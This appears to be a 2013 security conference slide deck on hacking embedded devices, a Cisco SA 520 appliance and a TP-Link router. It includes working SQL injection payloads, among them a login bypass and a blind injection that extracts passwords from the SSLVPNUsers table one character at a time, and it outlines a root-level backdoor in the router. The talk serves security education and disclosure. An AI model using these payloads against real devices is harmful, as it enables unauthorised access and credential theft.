



Embedded Devices Hacking Confidence 2013

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About me

- Pentester / trainer
- Founder of sekurak.pl



Agenda

- Two examples of my research – devices hacking
 - SA500 – Cisco Security Appliance
 - Unauthenticated remote code exec
 - Current status: patched
 - TP-Link routers (other devices?)
 - Unauthenticated remote code exec
 - Research from this year. Current status: patched?
- I will present it live

Warning

➤ All info for educational use only!



First device

➤ Cisco SA 520




First device

- Cisco SA 520. Menu:
 - OS command Exec
 - SQLi – login screen
 - Authentication data in plaintext
 - Let's see



First device

➤ LAB architecture



SQL injection - example

- <http://site.pl/news.php?id=10>
- SELECT * FROM news WHERE id = 10 AND active = 1
- <http://site.pl/news.php?id=10%20OR%201=1%23>
- SELECT * FROM news WHERE id = 10 OR 1=1# AND active = 1

SQL injection

- Let's go back to SA 500 Appliance
 - OS Commanding
 - SQL injection – login page?

SQL injection

➤ SA 500 Appliance

- `$$SQL = „SELECT * FROM users WHERE login = '$login' AND password = '$password'”`
 - We control \$login and \$password
 - So let's use \$login/password = ' or '1'='1 which gives:
- `$$SQL = „SELECT * FROM users WHERE login = " or '1'='1' AND password = " or '1'='1'”`

SQL injection

➤ SA 500 Appliance

- `$$SQL = „SELECT * FROM users WHERE login = “ or ‘1’=‘1’ AND password = “ or ‘1’=‘1’`
- It returns all users from the table
- Let's try this on SA520
- We can employ here another technique – blind sql injection exploitation

SQL injection

➤ SA 500 Appliance

- Goal: we want all logins and passwords in plaintext (without logging into the device)

SQL injection

- Next steps:
 - 1. We need to know DB type (SQL syntax issues)
 - 2. We need to know the table name (and its column names), where user data is stored
 - Both information can be obtained by whitebox analysis (ie. earlier OS exec vulnerability)
 - DB type is SQLite
 - The table name is SSLVPNUsers
 - The columns are: Username and Password

SQL injection

- Full query which can be used to get all users and passwords from the db is:
 - `SELECT Username, Password FROM SSLVPNUsers`
- But we can't use it directly in our case
 - Login screen doesn't display anything except for error messages

SQL injection

- We have to get all the login/password letters one by one...
- How to do this?
 - We need some SQL practice ;-)

SQL injection

- **SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0**
 - Returns password of the first user in the DB
- **substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)**
 - Returns the 1st letter of the password of the first user in the DB

SQL injection

- Our login will be:
- `' OR substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)='a'--`
- Resulting in the following query:
- `SELECT * FROM SSLVPNUser WHERE login = " OR substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)='a'--" AND password = '$password'`
 - Returns „invalid username” when `=‘a’` part is not true
 - Returns all users (other error) where `=‘a’` part is true

Second device

- TP-Link TL-WDR4300
- Firmware: 12.2012
- Others models also affected
 - (possibly all?)



- <http://sekurak.pl/more-information-about-tp-link-backdoor/>

Second device

› Menu:

- › path traversal
- › chroot bypass
- › configuration overwrite
- › backdoor?
 - › Remote code execution as root
 - › They say that there is a 'standard' WiFi calibration procedure in the factory
 - › But they forgot to remove the dev calibration software :-P
- › Let's see





Second device

➤ Samba hint

- <http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html>
- **root preexec (S)**
- This is the same as the *preexec* parameter except that the command is run as root. This is useful for mounting filesystems (such as CDRROMs) when a connection is opened.



Thanks for attending

- Do you like the presentation?
 - FB like: sekurak.pl ;-)
 - Sekurak Hacking Party:
 - <http://sekurak.pl/sekurak-hacking-party/>
 - Vulnerabilities in HP network printers
 - Confirmed by HP – info to be announced soon (when the patch is available)
- Contact: michal.sajdak@securitem.pl